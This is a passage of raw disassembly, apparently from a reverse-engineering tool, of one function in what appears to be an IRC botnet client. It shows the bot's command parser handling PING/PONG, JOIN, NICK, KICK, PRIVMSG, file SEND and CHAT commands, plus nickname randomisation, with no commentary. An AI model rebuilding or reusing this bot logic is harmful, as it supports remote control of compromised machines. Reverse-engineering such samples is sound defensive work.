-0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA38 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA34 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA30 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9C4 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C970 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C94C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C930 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8F4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECAh jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8F0 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8E4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8C0 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 2680925h push eax push offset unk_42C86C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C828 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C800 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECAh jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 2680925h push eax push offset unk_42C7C8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C798 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C764 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA38 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C720 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, 